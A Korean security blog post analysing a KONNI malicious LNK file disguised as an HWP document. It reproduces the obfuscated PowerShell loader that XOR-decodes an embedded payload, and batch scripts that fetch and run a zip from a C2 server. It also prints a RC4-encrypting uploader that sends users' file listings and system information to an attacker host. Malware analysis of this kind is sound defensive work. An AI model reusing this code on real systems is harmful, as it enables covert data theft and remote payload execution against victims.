꿈을꾸는 파랑새

오늘은 북한 해킹 그룹 코니(KONNI)에서 만든 악성코드-가상자산사업자+검사계획민당정회의+발표자료_FN2.hwp.lnk(2025.1.23)에 대해서 알아보겠습니다.
파일명:가상자산사업자+검사계획민당정회의+발표자료_FN2.hwp.lnk.lnk
사이즈:353,581,378 Bytes
MD5:e37c8f6aba686aab3d7ecedbd1d0ef43
SHA-256:5a8ecafbd5809000334bf5b940a497d0ed750dd11da8a03796f5ce53257cc892

악성코드에 포함된 파워셀 코드

StringData
{
 namestring: hwp File
 relativepath: not present
 workingdir: not present
 commandlinearguments:
/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\Windows
Powershell\*(.)exe ^| findstr /i rshell(.)exe') do (if exist "%f" (%
f "functi(o)n float{param($vacuum); <#vindicate healing#>$wedge = $va
cuum(.)substring(0,$vacuum.length-4) + ''; <#bringing 
stirring#>return $wedge;};function (p)ort{param($canon);<#face lack#>
remove-item <#pressure scorn(#)> -path $c(a0non <#compensation soil#> 
-force;};function pompous{param($wear,$interior,$unusual,$knot(,)$stup
idity);<#houn(d) slight#> $wheat=New-Object (S)ystem.IO.FileStream(<#p
rovision resemble#>$wear,<#abundant olfactory#>[System.IO.FileMode]::O
pen,<#apron vanity#>[System.IO.FileA(c)cess]::Read);<#transient libert
y#> $wheat(.)Seek(<#associated distant#>$interior,[System(.)IO.SeekOrigin]::Begin);<#
aside wooden#> $border=$(u)nusual*0x01;<#vault porce(l)ain#> $willow=N(e)w-Object byt
e[] <#landscape fright#>$unusual; <#ingredient judge#> $coat=New-Object byte[] <#conc
rete retard#>$border; <#access saturate#>$wheat(.)Read(<#rare flash(i)ng#>$coat,0,<#w
ild residence#(>)$border); $wheat.C(l)ose();$park=0;whi(l)e($park -lt $unu(s)ual){<#c
ul(t)ivate stroke#>$willow[$park]=$coat[$park*0x01] -bxor $knot;$park++;}<#rifle purc
hase#> set-content $stupidity <#coupling litter#> $willow -Encoding <#create healthy#
> Byte;};(f)unction incorrect{param($condition, $bubble);<#edible situated#> expand $
condition <#inquire mute#> -F:* $bubble;};function intricate{($)sport = $env:pub(l)ic
<#capacity confession#> + '\' +<#w(o)lf favorite#> 'docu'(+)'men'(+)'ts';<#civil warf
are#> return $sport;};f(u)nction magnesia{param($looking); <#series estimation#>$tran
smit = Split-Path $looking;<#composition spit#> return $transmit;};function (i)mperfe
ct{return Get-Location;};function central{<#signify suspension#>return $env:Temp;};fu
nction thrush{$reproach = imperfect; $shifting = s(e)vere -steady $reproach; <#tas(t)
e path#>if($shifting.length -eq 0) {$reproach = central; <#obscene stupidity#>$shifti
ng = severe -steady $reproach;} return $shifting;};function corn(e)r{$succession = $e
nv:public<#morally concealment#> + '\' + 'poss'+'ess'+'.cab';<#mortar having#> return
$succession;};function resolute{$visionary = $env:public<#thunder fibrous#>+'\d'(+)'o
cu'(+)'men'+'ts\'(+0'sta'(+)'rt.v'+'bs';<#performer les(s)#> return $v(i)sionary;};fu
nction severe{param($steady); <#turn surpass#> $elementary=''; [System(.)IO(.)Directo
ry]::GetFiles($steady, '*.l'+'nk', [System.IO.Se(a)rchOption]::AllDirectories) | <#tr
ail rider#>ForEach-Object { <#invent moi(s)t#> $f(o)olish = [System.IO.FileInfo]::new
($_); <#dying abandon#> if ($foolish.Length -eq 0x15133942) { <#perforated valve#> $e
lementary = $foo(l)ish.FullName;}}; return <#endowment mountain#> $elementary;};$redd
ish = thrush;<#enlarged onward#>$burst = magnesia -looking $reddish;<#interchange cre
s(c)ent#> $fashionable = float -vacuum $reddish;pompous -wear <#disclose metameric#> 
$reddish -interior <#squeeze peculiar#> 0x0000212E -unusual 0x0000B(2)00 -knot <#bitu
men forbear#> 0x2B -stupidity <#material masonry#> $fashionable;<#conduct soil#> & $f
ashionable;$frequent=corner;<#swimming reproof#>p(o)mpous -wear <#ceiling peculiar#> 
$reddish -interior <#commonly count#> 0x0000D32E -unusual <#flowing seize#> 0x00013CD
5 -knot <#telescope enough#()> 0x72 -stupidit(y) <#before catc(h)ing#> $frequent;<#
insert fashionable#>port -canon $reddish;$conjunction = intricate;<#power reprove#>
incorrect -condition $frequent -bubble <#m(a)rine intermediate#>$conjunction;<#needle
lover#>port -canon $frequent;$intercept = <#undergo applied#(>)resol(u)te;<#habitual 
perfect#>& $intercept;") )
 iconlocation: .hwp
}

악성코드 분석

1.LNK 파일 실행 시 악의적인 PowerShell 명령어 실행:
5LinkTargetIDList { // not present }:특정 실행 대상 ID 목록이 없음 
StringData 내부의 commandlinearguments 를 보면 cmd /c를 사용하여 특정 PowerShell 명령을 실행
System32\WindowsPowershell 폴더에서 rshell(.)exe 파일을 검색하여 존재하면 실행
rshell이 포함된 PowerShell 실행 파일을 찾아 원격 셸 기능을 수행

악성코드에 포함된 Powershell 코드
악성코드에 포함된 Powershell 코드

2.PowerShell 코드 분석:
float(): 특정 파일 경로에서 확장자를 변경하는 기능
port(): 특정 경로의 파일을 강제 삭제
pompous(): 특정 파일을 XOR 연산을 통해 복호화 후 실행
incorrect(): 압축 파일을 특정 디렉터리에 압축 해제  
intricate():C:\Users\Public\Documents 경로 반환
corner(),resolute():특정 경로의 파일명 반환
severe():특정 폴더에서 .lnk 파일을 찾아 특정 크기(0x15133942)와 일치하는지 검사 
thrush(): 특정 디렉터리를 검색 후 LNK 파일이 존재하는지 확인
pompous() 함수:
특정 파일 $wear의 일정 부분($interior ~ $unusual 크기)을 XOR 복호화하여 $stupidity 파일에 저장
암호화된 페이로드(바이너리 자료)를 특정 키($knot)로 복호화하여 실행하는 기능
thrush()로 특정 .lnk 파일을 찾고 pompous()로 복호화하고 실행
3. 악성코드 작업 후 마무리
.lnk 파일을 통해 악성 PowerShell 스크립트 실행
특정 크기의 .lnk 파일을 찾아 내부에 숨겨진 데이터를 복호화 및 실행 
원격 셸(rshell.exe)과 관련된 파일 실행
C:\Users\Public\Documents등 공용 폴더에 파일을 드롭하고 실행  
.cab 압축 파일을 생성하고 특정 실행 파일(start.vbs)을 실행
그리고 악성코드는 각각 다음과 같은 파일들을 공용 폴더(C:\Users\Public\Documents)에 vbs 파일을 만들고 해당 vbs를 통해서 개인정보 및 바탕화면을 수집합니다.

44462422.bat 에 포함된 VBS 코드
44462422.bat 에 포함된 VBS 코드

04711460.bat
44462422.bat
46133257.bat
82774072.bat
84664491.bat
94320159.bat
96508848.bat
start.vbs
unzip.exe
를 생성하면 너무 많으니 간단하게 중요 부분만 보는 것으로 하겠습니다.

44462422.bat에 포함된 코드

@echo off
pushd %~dp0
set fn=di3726
call 84664491(.)bat "hxxps://teamfuels(.)com/modules/inc/get(.0php?ra=iew&zw=lk0100" "%~dp0%fn%.zip" "1" > nul
if not exist %~dp0%fn%.zip (
	goto END1
)
set dt=1.bat
if not "%dt%"=="" (
	call unzip.exe -o -P "a0" "%~dp0%fn%(.)zip" > nul
	del /f /q %~dp0%fn%(.)zip > nul
		if exist %~dp0%dt% (
		call %~dp0%dt% > nul
		)		
)
:END1
if exist %~dp0%fn%(.)zip (
	del /f /q %~dp0%fn%(.)zip > nul
)

코드 분석

원격 서버에서 압축된 페이로드를 다운로드하고 실행하는 기능
84664491.bat을 호출하여 원격 서버에서 ZIP 파일 다운로드
다운로드한 ZIP 파일(di3726(.)zip)이 존재하는지 확인
unzip.exe를 사용해 ZIP 파일을 특정 비밀번호(a0)로 해제
ZIP 파일 삭제 (del /f /q)
압축 해제된 파일 중 1.bat이 존재하면 실행
다시 ZIP 파일이 존재하면 삭제
원격 ZIP 파일 다운로드 (84664491.bat)
다운로드 URL:hxxps://teamfuels(.)com/modules/inc/get(.)php?ra=iew&zw=lk0100
ZIP 파일 이름: di3726(.)zip
다운로드 위치:현재 실행된 배치 파일이 있는 폴더(%~dp0%fn%(.)zip)
2. ZIP 파일 존재 여부 확인
다운로드 실패 시 di3726.zip이 존재하지 않으면 종료
3.ZIP 압축 해제
비밀번호(a0)를 사용해 ZIP 파일 압축 해제
unzip.exe가 동일 폴더에 존재해야 실행 가능 합니다.
압축 해제 후 ZIP 파일 삭제

82774072.bat 에 포함된 코드

82774072.bat 에 포함된 코드
82774072.bat 에 포함된 코드

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1(.)txt
dir C:\Users\%username%\documents\ /s > %~dp0d2(.)txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3(.)txt

systeminfo > %~dp0d4(.)txt

timeout -t 5 /nobreak
call 96508848(.)bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d1(.)txt"  "%COMPUTERNAME%_down.txt" >nul
call 96508848(.)bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 96508848(.)bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 96508848(.)bat "hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

코드 분석

사용자의 파일 목록과 시스템 정보를 수집하여 원격 서버로 전송하는 기능을 수행
1. 파일 목록 수집
사용자의 다운로드 폴더, 문서 폴더, 바탕화면 폴더 내 모든 파일 목록을 수집하여 d1.txt, d2.txt, d3.txt 파일로 저장
/s 옵션을 사용하여 하위 폴더까지 포함
수집된 정보에는 파일 이름, 크기, 수정 날짜가 포함됨  
공격자는 특정 문서(.docx,.pdf, .xlsx)나 실행 파일(.exe, .ba`)을 특정 가능
2. 시스템 정보 수집
사용자의 운영 체제(OS) 정보, 설치 날짜, 시스템 제조업체, CPU 정보, 메모리 용량, 네트워크 카드 정보 등이 포함 정보 수집
즉 기업 환경 인지 가상 머신인지 서버인지를 판별할 수 있음
이후 추가적인 악성 코드 배포 전략을 결정하는 데 활용 가능성이 매우 큼
3. 원격 업로드 (96508848.bat)
96508848.bat 파일을 호출하여 수집한 데이터를 원격 서버로 업로드
업로드 대상 서버:hxxp://forum(.)flasholr-app(.)com/wp-admin/src/upload(.)php
파일명을 %COMPUTERNAME%(컴퓨터 이름)로 변경하여 서버에 업로드 하는 것이 특징
공격자는 피해자가 어느 시스템에서 실행했는지 쉽게 식별을 하기 위함

96508848.bat 에 포함된 PowerShell 코드
96508848.bat 에 포함된 PowerShell 코드

96508848.bat 에 포함된 PowerShell 코드

@echo off
pushd %~dp0
set "tgurl12=%~1"
set fN12=fn
set fD12=fd
powershell -command "function rPtfCpkYWzx{param ($WdZIRwRWFy,$OdxTUuiaeyZM);$OtybwJAbwo 
= [System.Text.Encoding]::UTF8.GetBytes($WdZIRwRWFy);    $UNskDSNGSmY = [System(.)Text(.)
Encoding]::UTF8.GetBytes($OdxTUuiaeyZM);$MdKerMdYoqPt = New-Object byte[](256);$YUJqJlPuC
F = New-Object byte[](256);for ($lmLcMKOOgbI = 0; $lmLcMKOOgbI -lt 256; $lmLcMKOOgbI++) {
$MdKerMd(Y)oqPt[$lmLcMKOOgbI] = $lmLcMKOOgbI;$YUJqJlPuCF[$lmLcMKOOgbI] = $UNskDSNGSmY[$lm
LcMKOOgbI %% $UN(s)kDSNGSmY.Length];}$ECejRMiMyJ = 0;f(o)r ($lmLcMKOOgbI = 0; $lmLcMKOOgb
I -lt 256; $lmLcMKOOgbI++) {$ECejRMiMyJ = ($ECejRMiMyJ + $MdKerMdYoqPt[$lmLcM(K)OOgbI] +
$YUJqJlPuCF[$lmLcMKOOgbI]) %% 256;$iJbRPRgEjhc = $MdKerMdYoqPt[$lmLcMKOOgbI];$MdKerMdYo(
q)Pt[$lmLcMKOOgbI] = $MdKerMdYoqPt[$ECejRMiMyJ];$MdKerMdYoqPt[$ECejRMiMyJ] = $iJbRPRgEjh
c;}$CZIobQhqZG = New-Object byte[] $OtybwJAbwo.Length;$lmL(c)MKOOgbI = 0;$ECejRMiMyJ = 0
;for ($ZlHPtDoKVp = 0; $ZlHPtDoKVp -lt $OtybwJAbwo.Length; $ZlHPtDoKVp++) {$lmLcMKOOgbI 
= ($lmLcMKOOgbI + 1) %% 256;$E(C)ejRMiMyJ = ($ECejRMiMyJ + $MdKerMdYoqPt[$lmLcMKOOgbI]) 
%% 256;$iJbRPRgEjhc = $MdKerMdYoqPt[$lmLcMKOOgbI];$MdKerMdYoqPt[$lmLc(M0KOOgbI] = $MdKer
MdYoqPt[$ECejRMiMyJ];$MdKerMdYoqPt[$ECejRMiMyJ] = $iJbRPRgEjhc;$AOeVHtIsbZha = ($MdKerMd
YoqPt[$lmLcMKOOgbI] + $MdKerMdYoqPt[$ECej(R0MiMyJ]) %% 256;$CZIobQhqZG[$ZlHPtDoKVp] = $O
tybwJAbwo[$ZlHPtDoKVp] -bxor $MdKerMdYoqPt[$AOeVHtIsbZha];}$ResvMouxRiQg = [System(.)Con
vert]::ToBase64String($CZIobQhqZG);return $ResvMouxRiQg;};$DdybyntUTy=(Get-Date).Ticks.T
oString();$(D)cswnIFNeK='%tgurl12%';$FPFOW(X)LaDhLB='%~3';$pgqFTvYjzH='%~dp0%~2';$XyfIMO
LJzf=gc -Path $pgqFTvYjzH -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$FPFOWXL
aDhLB=rPtfCpkYWzx -WdZIRwRWFy $FPFOWXLaDhLB -OdxTUuiaeyZM $DdybyntUTy;$XyfIMOLJzf=rPtfCp
kYWzx -WdZIRwRWFy $XyfIMOLJzf -(O)dxTUuiaeyZM $DdybyntUTy;$coXPHQPcYh = [System.Web.Http
Utility]::ParseQueryString('');$coXPHQPcYh['%fN1(2)%']=$FPFOW(X)LaDhLB;$coXPHQPcYh['%fD1
2%']=$XyfIMOLJzf;$coXPHQPcYh['r']=$DdybyntUTy;$rGeNEDMwKrEN=$coXPHQPcYh.ToString();$yNeO
REDLDC=[System.Text.Encoding]::UTF8.Get(B0ytes($rGeNEDMwKrEN);$OhbwdutHnVSZ=[System.Net.
WebRequest]::Create($DcswnIFNeK);$OhbwdutHnVSZ.Meth(o)d='PO'+'ST';$OhbwdutHnVSZ.ContentT
ype='appl'(+)'ic'+'at(i)on/x'(+)'-ww'+'w-for'+'m-ur'(+)'le'+'nco'+'ded';$OhbwdutHnVSZ.Co
ntentLength=$yNeOREDLDC.Length;$LifkeWlLqFZK = $OhbwdutHnVSZ(.)GetRequestStream();$Lifke
WlLqFZK.Write($yNeOREDLDC,0,$yNeOREDLDC.Length);$LifkeWlLqFZK.Close();$NkHiCqMWnvy=$Ohbw
dutHnVSZ.GetResponse();if($NkHiCqMWnvy(.)StatusCode -e(q) [System(.)Net(.)HttpStatusCode
]::OK){Remove-Item -Path $pgqFTvYjzH;$ADpASJXtQb='%~d(p)0up'(+)'o'(+)'k.t'(+)'xt';New-It
em -ItemTy
pe File -Path $ADpASJXtQb;}" > nul\

코드 분석

1.업로드할 파일 및 대상 URL 설정
%~1: 명령줄 인자로 전달된 업로드 대상 URL
%~2:업로드할 파일 경로
%~3: 암호화 키
2.RC4 암호화를 이용한 데이터 보호
RC4 암호화를 수행하는 PowerShell 함수  
$WdZIRwRWFy:암호화할 데이터  
$OdxTUuiaeyZM:암호화 키  
암호화된 결과를 Base 64로 변환하여 전송
트래픽 분석을 어렵게 만드는 것이 목적
3.업로드 수행
파일 내용을 읽어 암호화하고 서버에 전송하는 역할
WebRequest 객체를 이용하여 HTTP POST 요청을 수행
암호화된 데이터가 전송됨(application/x-www-form-urlencoded)
4. 원본 파일 삭제
업로드가 성공하면 원본 파일 삭제
공격자는 파일을 탈취한 이후 피해자가 인지하지 못하도록 원본을 제거
5. 로그 파일 생성 (upok.txt)
업로드 성공 여부를 기록하는 파일(upok.txt) 생성
공격자가 원격 제어 중 실행 여부를 확인할 때 사용 가능
항상 조심하는 습관을 가지는 것이 매우 중요

공유하기

facebook twitter kakaoTalk kakaostory naver band